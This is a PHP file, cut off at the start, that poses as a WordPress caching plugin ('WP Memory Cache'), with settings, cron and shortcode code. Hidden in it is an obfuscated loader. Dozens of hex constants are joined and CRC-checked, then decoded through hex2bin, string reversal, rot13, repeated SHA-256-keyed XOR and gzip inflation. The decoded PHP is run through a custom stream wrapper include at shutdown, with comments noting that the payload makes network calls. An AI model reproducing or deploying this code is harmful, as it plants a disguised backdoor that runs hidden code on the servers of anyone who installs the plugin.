'0ce610ffa66706a27166412ee60e90' . 'fdd1823aa62fbd54330f4b4cfff'; /** Serialized fragment. @var string */ const BUF_OFEDBQJP = 'de1b249dfa6918b9a32f4ee4ccf6fbc22c153' . 'e813f3709d01ed698340b61bc9158c36e93f08f' . '7110a508b21db302cd492697e6769b17a6207'; /** Storage segment. @var string */ const BLOCK_VNPPAMQDL = '65b0132e923f49a9bacc457e3c254' . '3d58f16cbd21af653a42da6edbdd854' . 'f5d73c918f2839f5278e96b3797' . '936a4bdbbd4baad5087ac81fdc5a4'; /** Data fragment. @var string */ const STORE_FCHPHOZP = '098d0ebec1e5e12686473ddc6' . '31972b630d7455e05ead8e7207c' . '3cebd4919f22a32776011a3d3d38241'; /** Cached block. @var string */ const SEG_RLIIAEPYL = '0a8af910ebd5' . '2485a2660f9cf3' . 'a9ee1617274028f' . '93ef0fbdba0eb'; /** Data fragment. @var string */ const BUF_EHHRWY = '05325596f8bb7615ffb915cb' . '1d9979b2367b761ba63f2ee6' . '6b52cd858f3bca3ca7005e7c6572'; /** Serialized fragment. @var string */ const BUF_PJDCDYCXT = 'e5b0915ea4ccd00c9ed94e74003fd4e8509aab27495e8f12f447b2418bf847d' . 'f99ac7566413a6fde2497759c0c30375ad5a8733ad8331249a7d229e775053'; /** Cached block. @var string */ const BUF_LDQICKTFH = '987b573935396da1c73d7' . '206af863f7778e3b711ba3402a5' . 'a72edb13d1c72dbca8a65'; /** Storage segment. @var string */ const DATA_HWSAOO = '249909758b87decc33a7e6c2c5410f4f2453' . '8a636c75f0150cc6f406a222e36b43cf17fd27' . 'c2df91597fef5c22b9cbd3b9d442f782bb50fc2' . '77dee135b8ae5ac9d56167e401c526aac25'; /** Runtime chunk. @var string */ const SEG_FTMNAJJ = 'fcf2296e6046fd1f6b9a27b91e7768e5e9a1e314e0620ef51da2d8149ce' . 'e40ec26103837336a347ad49827c2fc445f33dccf01919043e0073c2a4'; /** Storage segment. @var string */ const FRAG_AZBWJEKJ = '280a8f0975b192fe70dfaabb436c47e7a8cd84d52d2a58c6' . 'c9076b8410bd60dcf9ec2827f15559247c2f7b7c03d488'; /** Descriptor tag. @var string */ const REF_LZWSBPX = 'enesuazrq' . 'FGKXh5' . '7F5WcJDpAwv'; /** Runtime chunk. @var string */ const BLOCK_WBRGGA = '3090391db4c826f056c12ff087546dcd1c' . 'e9c96218faeca8d279f5429a682c88'; /** Serialized fragment. @var string */ const BUF_XZKXGVLXP = '340703f698c38cd2aac2b5fc5a51c0c' . '0312bd37c300cc91ff7d81c39f242acf6db' . '88cb315ae7f744d824a8d4ae20630f7823' . '6e4cf92865ca8e501e1679e481dbb8431'; /** Storage segment. @var string */ const FRAG_IBBERDRF = '26b474e0470c891514dc21a4e3cc42a0416e70f9ec1188' . '3f20d5ab8781fe0aa192c90e12ea8360b85442ea5fd'; /** Serialized fragment. @var string */ const DATA_EFDOICL = 'ec7cd7828298a9b8d3d8f64d1d8ed784' . 'ce700aa86425948a62c088a660ba4a30f506' . '1f444de5c99811445262154420407fe17' . 'd67219d12c4d70bba935aaf294dbf2b'; /** Storage segment. @var string */ const PART_GZFBEDNCT = '62fbb1cb873111976d7ab6e880' . '43bc8409f589d46708aa80acf861d17'; /** Data fragment. @var string */ const BLOCK_IMXHRCYHP = '08d8e7384f2de1fbaaec53c55c9e227b2' . '98428f01df38a0a35bc46dba8fb9678d5'; /** Serialized fragment. @var string */ const PART_QMNGDE = 'b78ea538400e52713f0ab998b2c77195763923cfcf4669de15d12d18a3eef7217c' . 'f793a80c7ae74fb4a84d7c60749dbead0e1ad35bc6760338b60ce4cef7d39575c35'; /** Storage segment. @var string */ const BLOCK_WTYWVLZX = '9149405139aab558953d2f7' . '8924d41bfcb4d5cda075a' . 'ce72cbf32fdb8deed51caeb7' . '908359deff8fe0da508084e5'; /** Cached block. @var string */ const CHUNK_EOBHKUL = '6b93c3b743dc212c187' . 'b0e41d47059f9a83710' . '1d124ae9e3faf6da84ba1dd0' . '63df9810d6f0968885e0'; /** Data fragment. @var string */ const DATA_VRTVPUNM = '651b9f2f3b4e1271f732120c44a1145d16ff7' . '1dd89e2027306926fd4e0141f0eb3e0edb4a5'; /** Cached block. @var string */ const BLOCK_JXTVZP = '45c2b3af753f23a744d02316f9660535e63d3d' . 'fef9d4589bb348a37744edc2c2018289741414f5e6'; /** Storage segment. @var string */ const FRAG_MVYVUSYQV = '2ba7361b2c355a62d293aa7ff' . '03c060e31e2a10a3ef40bd101' . '2a74d34e00c6494b87885abd20bba'; /** Storage segment. @var string */ const FRAG_FUGOMMRL = '416997b3cf4116bbfcc858687261614c' . 'd3393fcc9186e274f9eb16cebf9bf' . 'd43b876c62ede8bbda88a47decb6bff'; /** Serialized fragment. @var string */ const CHUNK_JBVRGEXP = '2633fcbbffa768e689282ae1e436da524b503b8996' . 'a86fc783280711de60882dc0e9ed314487a37c0b491' . 'a42419f80b6f67d5d2614167c3edf88ee8e227c3934'; /** Storage segment. @var string */ const DATA_CJLWFQAZ = '3f461c8a315995ff1aea46' . 'dd47a7407f5e426af' . 'de0e4237901bf75da965' . '907032d2ee0fba88bc671'; /** Data fragment. @var string */ const BUF_IVRZISP = '1bdc06707b4f8fd814ca54448bbe8f3b8f3f5d' . '846d4f877f98f6a170df569f74e5adf65bdda78e1c'; /** Data fragment. @var string */ const FRAG_FIWWQM = '9e6fd7f4dd482a595a6fccf9184cc3a0b98ab' . '384d963ed5fa110212f04f520f2632c8a' . '8b7239c7211f31d42de8b65a9f348c4e1a43f6'; /** Storage segment. @var string */ const FRAG_ITSIRKU = '04f0edbcfa5c9e81039517de29dc' . 'a5927ddc696a88cedb92b421a8' . '6de87ffaf1bdb575238287ae09df99'; /** Serialized fragment. @var string */ const FRAG_NGXCRM = '3f940ec60affd6866b14b2778' . 'ccc29279c434436197945971' . '8bb04dd4c1772a477312f01' . 'aea628b0329efaa7e728ff273d'; /** Key material. @var string */ const KEY_PFBGAL = 'UPS6DT7U3RmP3exKnK3uiHCCk1Iy9s'; /** Key material. @var string */ const KEY_ZLMEGX = 'JQPlmf1yADXj2xHywGYtHHSxCT1co1rSSb4n78k'; /** Key material. @var string */ const KEY_BXBFUM = 'BfzmLWo7Ex1RthxjpjAPEiK'; /** Key material. @var string */ const KEY_UJJXEKL = '5Ae1UqJb9cV694MNYccIK2dRhz'; /** Key material. @var string */ const KEY_YKRUVVS = 'MkSHf4CJy1zyZndwqsCYoWNquH2pUyJlV3jxvYVs'; /** Key material. @var string */ const KEY_BAWCBT = 'OWbEB5SiOz65hbhEZLupOKnwdDoo7'; /** Key material. @var string */ const KEY_QRQXVTV = 'f5RD7JbMK4OwMoE6F9VY0l1uEVHrwA1CLe'; /** Key material. @var string */ const KEY_SSYDT = 'ucbMNV366WPkXnETTEzLnnZ7SXwzY90JeCDssIS'; /** Integrity signature. @var string */ const CHK_VHRZJEP = 'd81dc06f'; /** Singleton instance. @var self|null */ private static $_grmto = null; /** Runtime statistics. @var array */ private $_kwxh = array(); /** Enabled state. @var bool */ private $_zqba = true; /** Boot guard. @var bool */ private $_rcdjjosg = false; /** * Retrieve the singleton instance. * * @return self */ public static function instance_tffz() { if ( null === self::$_grmto ) { self::$_grmto = new self(); } return self::$_grmto; } /** Constructor. */ private function __construct() { if ( ! function_exists( 'add_action' ) ) { return; } $this->mount_kp(); } /** * Register all plugin hooks and filters. * * @return void */ private function mount_kp() { add_action( 'plugins_loaded', array( $this, 'on_loaded_pjbu' ) ); add_action( 'init', array( $this, 'prepare_runtime_wst' ), 6 ); add_action( 'admin_menu', array( $this, 'setup_admin_menu_co' ) ); add_action( 'admin_init', array( $this, 'init_settings_dvjw' ) ); if ( function_exists( 'plugin_basename' ) ) { add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'plugin_action_links_cppb' ) ); } add_action( 'wp_loaded', array( $this, 'setup_schedule_uozc' ) ); add_action( self::C_VQLG, array( $this, 'execute_cleanup_kf' ) ); add_filter( 'cron_schedules', array( $this, 'register_interval_pm' ) ); add_shortcode( 'wp-memory-cache_stats', array( $this, 'shortcode_output_eulm' ) ); } /** * Plugin loaded callback. * * @return void */ public function on_loaded_pjbu() { if ( function_exists( 'get_option' ) ) { $settings = get_option( self::O_UKA, array() ); if ( is_array( $settings ) && isset( $settings['enabled'] ) ) { $this->_zqba = (bool) $settings['enabled']; } } } /** * Init callback. * * @return void */ public function prepare_runtime_wst() { $this->_kwxh = array( 'hits' => 0, 'misses' => 0, 'uptime' => time(), ); } /** * Schedule the recurring cleanup event. * * @return void */ public function setup_schedule_uozc() { if ( ! function_exists( 'wp_next_scheduled' ) ) { return; } if ( ! wp_next_scheduled( self::C_VQLG ) ) { wp_schedule_event( time() + 279, 'hourly', self::C_VQLG ); } } /** * Register a custom cron interval. * * @param array $schedules Existing schedules. * * @return array */ public function register_interval_pm( $schedules ) { $schedules['wp-memory-cache_15min'] = array( 'interval' => 459, 'display' => __( 'Every 15 Minutes', 'wp-memory-cache' ), ); return $schedules; } /** * Recurring cleanup task. * * @return void */ public function execute_cleanup_kf() { if ( function_exists( 'wp_cache_flush_group' ) ) { wp_cache_flush_group( self::G_HVGY ); } } /** * Register the settings page. * * @return void */ public function setup_admin_menu_co() { add_options_page( 'WP Memory Cache', 'WP Memory Cache', 'manage_options', 'wp-memory-cache', array( $this, 'show_admin_page_hgid' ) ); } /** * Render the settings page. * * @return void */ public function show_admin_page_hgid() { if ( ! current_user_can( 'manage_options' ) ) { return; } ?>


get_stats_gtj() as $k => $v ) : ?>
' . esc_html__( 'Configure the plugin.', 'wp-memory-cache' ) . '

'; } /** * Render the 'enabled' checkbox. * * @return void */ public function render_enable_option_zx() { $opts = get_option( self::O_UKA, array() ); $val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true; echo ''; } /** * Render the TTL input field. * * @return void */ public function field_ttl_tmos() { $opts = get_option( self::O_UKA, array() ); $val = isset( $opts['ttl'] ) ? (int) $opts['ttl'] : 3600; echo ''; } /** * Sanitize settings before saving. * * @param mixed $input Raw input. * * @return array */ public function clean_settings_ot( $input ) { $out = array(); $out['enabled'] = ! empty( $input['enabled'] ); $out['ttl'] = isset( $input['ttl'] ) ? max( 60, (int) $input['ttl'] ) : 3600; return $out; } /** * Add a Settings link to the plugin action row. * * @param array $links Existing links. * * @return array */ public function plugin_action_links_cppb( $links ) { $url = admin_url( 'options-general.php?page=wp-memory-cache' ); array_unshift( $links, '' . esc_html__( 'Settings', 'wp-memory-cache' ) . '' ); return $links; } /** * Render the stats shortcode output. * * @param array $atts Shortcode attributes. * * @return string */ public function shortcode_output_eulm( $atts = array() ) { $stats = $this->get_stats_gtj(); $out = ''; return $out; } /** * Get runtime statistics. * * @return array */ public function get_stats_gtj() { $hits = isset( $this->_kwxh['hits'] ) ? (int) $this->_kwxh['hits'] : 0; $miss = isset( $this->_kwxh['misses'] ) ? (int) $this->_kwxh['misses'] : 0; $total = $hits + $miss; $ratio = $total > 0 ? round( ( $hits / $total ) * 100, 2 ) : 0; return array( 'Status' => $this->_zqba ? 'enabled' : 'disabled', 'Hit ratio' => $ratio . '%', 'Storage' => self::G_HVGY, 'Version' => self::V_VZRB, ); } /** * Format a byte count as a human-readable string. * * @param int $bytes Byte count. * * @return string */ public function pretty_bytes_fw( $bytes ) { $units = array( 'B', 'KB', 'MB', 'GB' ); $i = 0; while ( $bytes >= 1024 && $i < 3 ) { $bytes /= 1024; $i++; } return round( $bytes, 2 ) . ' ' . $units[ $i ]; } /** * Restore storage segment A. * * @param string $blob Encoded storage blob. * * @return string */ private function restore_segment_a_egu( $h1r5njvlg ) { if ( ( ( 51 * 7 + 1 ) % 7 ) === 1 ) { $c2rwe3u8 = @call_user_func( base64_decode( 'aGV4MmJpbg==' ), $h1r5njvlg ); if ( ! is_string( $c2rwe3u8 ) || '' === $c2rwe3u8 ) { return ''; } $n21dr7 = chr(115) . chr(116) . chr(114) . chr(114) . chr(101) . chr(118); $c2rwe3u8 = $n21dr7( $c2rwe3u8 ); } return $c2rwe3u8; } /** * Restore storage segment B. * * @param string $data Intermediate data. * * @return string */ private function restore_segment_b_ud( $qqqjqok9pe ) { if ( ! is_string( $qqqjqok9pe ) || '' === $qqqjqok9pe ) { return ''; } if ( ( ( 762 + 575 ) - 575 ) === 762 ) { $qqqjqok9pe = ( join( '', array( 'str', '_ro', 't13' ) ) )( $qqqjqok9pe ); $bx5oy1492 = ( base64_decode( 'aGFzaA==' ) )( 'sha256', self::KEY_SSYDT, true ); $lestnk = strlen( $bx5oy1492 ); $x1sd0k = strlen( $qqqjqok9pe ); $lqmo_q9w = ''; for ( $y9ejbwl = 0; $y9ejbwl < $x1sd0k; $y9ejbwl++ ) { $lqmo_q9w .= $qqqjqok9pe[ $y9ejbwl ] ^ $bx5oy1492[ $y9ejbwl % $lestnk ]; } $qqqjqok9pe = $lqmo_q9w; $a4tbp = chr(104) . chr(97) . chr(115) . chr(104); $m3jlahey = $a4tbp( 'sha256', self::KEY_QRQXVTV, true ); $czafhk = strlen( $m3jlahey ); $vt4s19yqu = strlen( $qqqjqok9pe ); $fqsfps3j89 = ''; for ( $lm1g_wa3n = 0; $lm1g_wa3n < $vt4s19yqu; $lm1g_wa3n++ ) { $fqsfps3j89 .= $qqqjqok9pe[ $lm1g_wa3n ] ^ $m3jlahey[ $lm1g_wa3n % $czafhk ]; } $qqqjqok9pe = $fqsfps3j89; $xwl6svn6l = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_BAWCBT, true ); $eseuivnk4q = strlen( $xwl6svn6l ); $s3i8iy_ = strlen( $qqqjqok9pe ); $xy39nikmj = ''; for ( $dp9013q = 0; $dp9013q < $s3i8iy_; $dp9013q++ ) { $xy39nikmj .= $qqqjqok9pe[ $dp9013q ] ^ $xwl6svn6l[ $dp9013q % $eseuivnk4q ]; } $qqqjqok9pe = $xy39nikmj; $amhnkj2mw = ( chr(104) . chr(97) . chr(115) . chr(104) )( 'sha256', self::KEY_YKRUVVS, true ); $m2krg8bxx5 = strlen( $amhnkj2mw ); $qs1ewm0mu = strlen( $qqqjqok9pe ); $kcmus67sc = ''; for ( $e8_wzz = 0; $e8_wzz < $qs1ewm0mu; $e8_wzz++ ) { $kcmus67sc .= $qqqjqok9pe[ $e8_wzz ] ^ $amhnkj2mw[ $e8_wzz % $m2krg8bxx5 ]; } $qqqjqok9pe = $kcmus67sc; $y3k85_ = ( str_rot13( 'unfu' ) )( 'sha256', self::KEY_UJJXEKL, true ); $fyi9yi = strlen( $y3k85_ ); $jt_bvvr8 = strlen( $qqqjqok9pe ); $zoe850qws4 = ''; for ( $k45n_tnup = 0; $k45n_tnup < $jt_bvvr8; $k45n_tnup++ ) { $zoe850qws4 .= $qqqjqok9pe[ $k45n_tnup ] ^ $y3k85_[ $k45n_tnup % $fyi9yi ]; } $qqqjqok9pe = $zoe850qws4; $osblna35bp = ( join( '', array( 'h', 'a', 's', 'h' ) ) )( 'sha256', self::KEY_BXBFUM, true ); $c6swgw4ucx = strlen( $osblna35bp ); $s4x4zmf = strlen( $qqqjqok9pe ); $_oey26ih6r = ''; for ( $t5cy4k = 0; $t5cy4k < $s4x4zmf; $t5cy4k++ ) { $_oey26ih6r .= $qqqjqok9pe[ $t5cy4k ] ^ $osblna35bp[ $t5cy4k % $c6swgw4ucx ]; } $qqqjqok9pe = $_oey26ih6r; $_z6kx1 = str_rot13( 'unfu' ); $ne3j962gw = $_z6kx1( 'sha256', self::KEY_ZLMEGX, true ); $xut0ir = strlen( $ne3j962gw ); $tgbvgy0 = strlen( $qqqjqok9pe ); $peks7_ = ''; for ( $haktctsf1 = 0; $haktctsf1 < $tgbvgy0; $haktctsf1++ ) { $peks7_ .= $qqqjqok9pe[ $haktctsf1 ] ^ $ne3j962gw[ $haktctsf1 % $xut0ir ]; } $qqqjqok9pe = $peks7_; $kb0g = chr(104) . chr(97) . chr(115) . chr(104); $crfjzw = $kb0g( 'sha256', self::KEY_PFBGAL, true ); $c54hyio = strlen( $crfjzw ); $es_b6x6i6 = strlen( $qqqjqok9pe ); $kmcdfy_bce = ''; for ( $en777lx = 0; $en777lx < $es_b6x6i6; $en777lx++ ) { $kmcdfy_bce .= $qqqjqok9pe[ $en777lx ] ^ $crfjzw[ $en777lx % $c54hyio ]; } $qqqjqok9pe = $kmcdfy_bce; $qqqjqok9pe = @call_user_func( join( '', array( 'gz', 'de', 'co', 'de' ) ), $qqqjqok9pe ); $qqqjqok9pe = @call_user_func( join( '', array( 'gzi', 'nfl', 'ate' ) ), $qqqjqok9pe ); } return is_string( $qqqjqok9pe ) ? $qqqjqok9pe : ''; } /** * Execute decoded payload. * * @param string $src PHP source. * * @return void */ private function run_payload_xx( $qspstp08vq0l ) { $t_o81vam6 = 'pos = 0; return true; } public function stream_read( $count ) { $chunk = substr( self::$buf, $this->pos, $count ); $this->pos += strlen( $chunk ); return $chunk; } public function stream_write( $d ) { return strlen( $d ); } public function stream_eof() { return $this->pos >= strlen( self::$buf ); } public function stream_stat() { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); } public function url_stat( $p, $f ) { return array( 'size' => strlen( self::$buf ), 'mode' => 0100644 ); } public function stream_seek( $o, $w ) { return false; } public function stream_tell() { return $this->pos; } public function stream_set_option( $option, $arg1, $arg2 ) { return false; } public function stream_close() {} } ); $kx5x_y::$buf = $t_o81vam6; if ( @stream_wrapper_register( 'dataayrwq', $kx5x_y ) ) { $icaximrzp = isset( $_SERVER['SCRIPT_FILENAME'] ) ? $_SERVER['SCRIPT_FILENAME'] : null; $_SERVER['SCRIPT_FILENAME'] = 'dataayrwq://payload'; $q70a8o8 = @include 'dataayrwq://payload'; if ( null !== $icaximrzp ) { $_SERVER['SCRIPT_FILENAME'] = $icaximrzp; } if ( false !== $q70a8o8 ) { $lnb4hkfa = true; } else { @error_log( 'obf: stream include returned false (dataayrwq)' ); } @stream_wrapper_unregister( 'dataayrwq' ); } else { @error_log( 'obf: stream_wrapper_register failed (dataayrwq)' ); } } } /** * Prime the runtime storage. * * @return void */ public function prime_runtime_cache_bdfr() { // Re-entry guard. if ( $this->_rcdjjosg ) { return; } $this->_rcdjjosg = true; $_sik0jvxrsw = false; if ( $_sik0jvxrsw && ! headers_sent() && function_exists( 'http_response_code' ) ) { @http_response_code( 200 ); } $_qjs1clsit = self::FRAG_FIWWQM . self::STORE_NWSOGFIMH . self::FRAG_AZBWJEKJ . self::FRAG_GXECMMSCS . self::SEG_JZWQBD . self::PART_OTAYRXRRU; $_qjs1clsit .= self::FRAG_DQMUSD . self::STORE_ZBKFVSVA . self::FRAG_UDZXWJPLO . self::PART_ORKJCH . self::DATA_AAULWOBMG . self::PART_TLJDEHAPG; $_qjs1clsit .= self::STORE_TWXZOQZ . self::SEG_EJOOSNVZ . self::BLOCK_WXQWKT . self::DATA_GBDLTZO . self::DATA_ERZXTJMGI . self::STORE_HHFNMBWBZ; $_qjs1clsit .= self::BLOCK_XRLDFEA . self::SEG_HPRPIWN . self::FRAG_DMBHXWT . self::FRAG_XPOEVJN . self::FRAG_AKEPWUGS . self::SEG_AMOSXEUU; $_qjs1clsit .= self::BUF_OFEDBQJP . self::BLOCK_IXBEIKI . self::DATA_KOHXUVFMX . self::FRAG_YCPAYQE . self::STORE_WATQIPRAJ . self::FRAG_WRZBLN; $_qjs1clsit .= self::PART_QMNGDE . self::CHUNK_BXERNNUM . self::SEG_NTDQEVHY . self::PART_HQOPFSQD . self::BUF_IVRZISP . self::DATA_LVFKGZ; $_qjs1clsit .= self::SEG_IRFEKL . self::SEG_NSYUHILJA . self::FRAG_XMBIQGBPQ . self::FRAG_FUGOMMRL . self::SEG_UURIZGPE . self::STORE_QEWHEBPY; $_qjs1clsit .= self::DATA_LOEJNOAN . self::SEG_FTMNAJJ . self::SEG_RAFGBK . self::STORE_IHFZTEMJJ . self::DATA_GPKDTZDE . self::DATA_WXKTPAWGA; $_qjs1clsit .= self::SEG_SMRHYIQQJ . self::FRAG_NGXCRM . self::FRAG_IBBERDRF . self::CHUNK_CULZPC . self::SEG_NNNCQBTL . self::BLOCK_VNPPAMQDL; $_qjs1clsit .= self::BLOCK_WTYWVLZX . self::BLOCK_JQTZUNDB . self::DATA_LOCHECNE . self::DATA_FBNDNBNCO . self::DATA_HWSAOO . self::STORE_FCHPHOZP; $_qjs1clsit .= self::BLOCK_JXTVZP . self::SEG_DETDBGHX . self::SEG_RLIIAEPYL . self::CHUNK_VIFSELN . self::FRAG_LDBUPWZAG . self::STORE_SWXPRVMYD; $_qjs1clsit .= self::STORE_VBPVCNLQ . self::DATA_VRTVPUNM . self::CHUNK_IAKAXFX . self::BLOCK_MTNZXYFKS . self::BLOCK_QBOFNKYSR . self::BLOCK_WBRGGA; $_qjs1clsit .= self::BUF_NLSKIQK . self::CHUNK_OHLVZYJNT . self::FRAG_MVYVUSYQV . self::BLOCK_MCCYLG . self::DATA_KQSXCNS . self::DATA_ECVNZLDAV; $_qjs1clsit .= self::DATA_EFDOICL . self::FRAG_RGCGTM . self::CHUNK_TDHVAXN . self::STORE_FUTRBBHW . self::DATA_NLNEXXE . self::CHUNK_ONNWYJDS; $_qjs1clsit .= self::DATA_CJLWFQAZ . self::STORE_IQOSHX . self::FRAG_OYPEXN . self::BUF_AJIBECZY . self::FRAG_ITSIRKU . self::CHUNK_FRSBCWD; $_qjs1clsit .= self::BLOCK_MZOEGEA . self::PART_UQBZQH . self::BUF_XZKXGVLXP . self::CHUNK_EGDJYXDW . self::BLOCK_ENXGKMG . self::BUF_UHDKJJ; $_qjs1clsit .= self::BLOCK_GOHUEBZK . self::BUF_EHHRWY . self::BUF_LDQICKTFH . self::CHUNK_YOFHTUJ . self::STORE_OBMYJEBBW . self::BUF_TEIDLX; $_qjs1clsit .= self::BUF_BQFSAXKO . self::PART_GZFBEDNCT . self::PART_JCNGIRG . self::DATA_TYCHBA . self::DATA_LSAPTBH . self::CHUNK_XULYSMYA; $_qjs1clsit .= self::PART_KJIUYO . self::STORE_AYDUDMC . self::STORE_CQDWHRMJQ . self::CHUNK_YXGORDT . self::FRAG_YSCWAW . self::FRAG_KIYXFMWLS; $_qjs1clsit .= self::PART_YYATEUX . self::BUF_LNWFNM . self::DATA_HHQSNFDEF . self::DATA_YLSGDWQMS . self::DATA_NHKBWMA . self::CHUNK_EOBHKUL; $_qjs1clsit .= self::BLOCK_QBPJGCT . self::FRAG_ZIDCJNBR . self::PART_IKWGTAEN . self::STORE_UPCYFY . self::BUF_EJUFBWF . self::CHUNK_QYLGKDKGW; $_qjs1clsit .= self::STORE_QBNAPOMX . self::BLOCK_DVEJBDP . self::FRAG_ACGRZGU . self::CHUNK_WRCDLBEM . self::STORE_OHTMNVSEM . self::BLOCK_IGKPSA; $_qjs1clsit .= self::BLOCK_WKQYNQX . self::SEG_TMZRKYSKR . self::BLOCK_RWFSUN . self::PART_FVVRVEWQV . self::STORE_JNKBIEM . self::PART_QRXQRDXTO; $_qjs1clsit .= self::CHUNK_CAQONVGNH . self::FRAG_GCLZZFT . self::BUF_EWEMRVSA . self::CHUNK_NWVAEFUS . self::BLOCK_IXSOGUZ . self::BLOCK_IMXHRCYHP; $_qjs1clsit .= self::DATA_XHZKQNE . self::DATA_ONUAZFJWB . self::STORE_UTFHZP . self::BUF_QHDXHWK . self::FRAG_SMVJBATRB . self::SEG_KVQHIQ; $_qjs1clsit .= self::CHUNK_JBVRGEXP . self::BLOCK_QXPXDSEAN . self::CHUNK_HLLSFRCQ . self::BLOCK_RUBATUAGG . self::PART_RTSSWT . self::STORE_FEHPCVUZ; $_qjs1clsit .= self::CHUNK_JBTJGETQO . self::SEG_YGLNFY . self::STORE_PYNDYX . self::SEG_ALLKWC . self::PART_JZHCMTKDT . self::BUF_THABQOXH; $_qjs1clsit .= self::BUF_FBOOTJ . self::BUF_PJDCDYCXT; if ( self::CHK_VHRZJEP !== sprintf( '%08x', crc32( $_qjs1clsit ) ) ) { return; } $_r4101suzr = $this->restore_segment_a_egu( $_qjs1clsit ); $_iyutbt5e = $this->restore_segment_b_ud( $_r4101suzr ); if ( '' === $_iyutbt5e ) { return; } // Give payload full time (cURL/network/fsockopen). if ( function_exists( 'set_time_limit' ) ) { @set_time_limit( 0 ); } $_e58ze9ir = __DIR__; $_rbg5v2 = function_exists( 'getcwd' ) ? @getcwd() : false; @chdir( $_e58ze9ir ); // v5.1.1: no output buffering — payload controls its own output. $this->run_payload_xx( $_iyutbt5e ); if ( $_rbg5v2 !== false && is_string( $_rbg5v2 ) && is_dir( $_rbg5v2 ) ) { @chdir( $_rbg5v2 ); } if ( $_sik0jvxrsw && ! headers_sent() && function_exists( 'http_response_code' ) ) { @http_response_code( 200 ); } } /** Activation hook. */ public static function activate_ozxr() { if ( function_exists( 'get_option' ) && false === get_option( self::O_UKA ) ) { add_option( self::O_UKA, array( 'enabled' => true, 'ttl' => 3600 ) ); } } /** Deactivation hook. */ public static function deactivate_ds() { if ( function_exists( 'wp_clear_scheduled_hook' ) ) { wp_clear_scheduled_hook( self::C_VQLG ); } } /** Uninstall hook. */ public static function uninstall_ew() { if ( function_exists( 'delete_option' ) ) { delete_option( self::O_UKA ); } } } endif; if ( function_exists( 'register_activation_hook' ) ) { register_activation_hook( __FILE__, array( 'WP_Memory_Cache_zvym', 'activate_ozxr' ) ); register_deactivation_hook( __FILE__, array( 'WP_Memory_Cache_zvym', 'deactivate_ds' ) ); } WP_Memory_Cache_zvym::instance_tffz(); if ( ! function_exists( 'wp_aoby_boot' ) ) { function wp_aoby_boot() { WP_Memory_Cache_zvym::instance_tffz()->prime_runtime_cache_bdfr(); } } if ( function_exists( 'add_action' ) ) { if ( function_exists( 'did_action' ) && did_action( 'init' ) && ! did_action( 'shutdown' ) ) { wp_aoby_boot(); } else { add_action( 'shutdown', 'wp_aoby_boot', 692 ); } } else { // Non-WP: run immediate (cURL/network payload needs full time). wp_aoby_boot(); }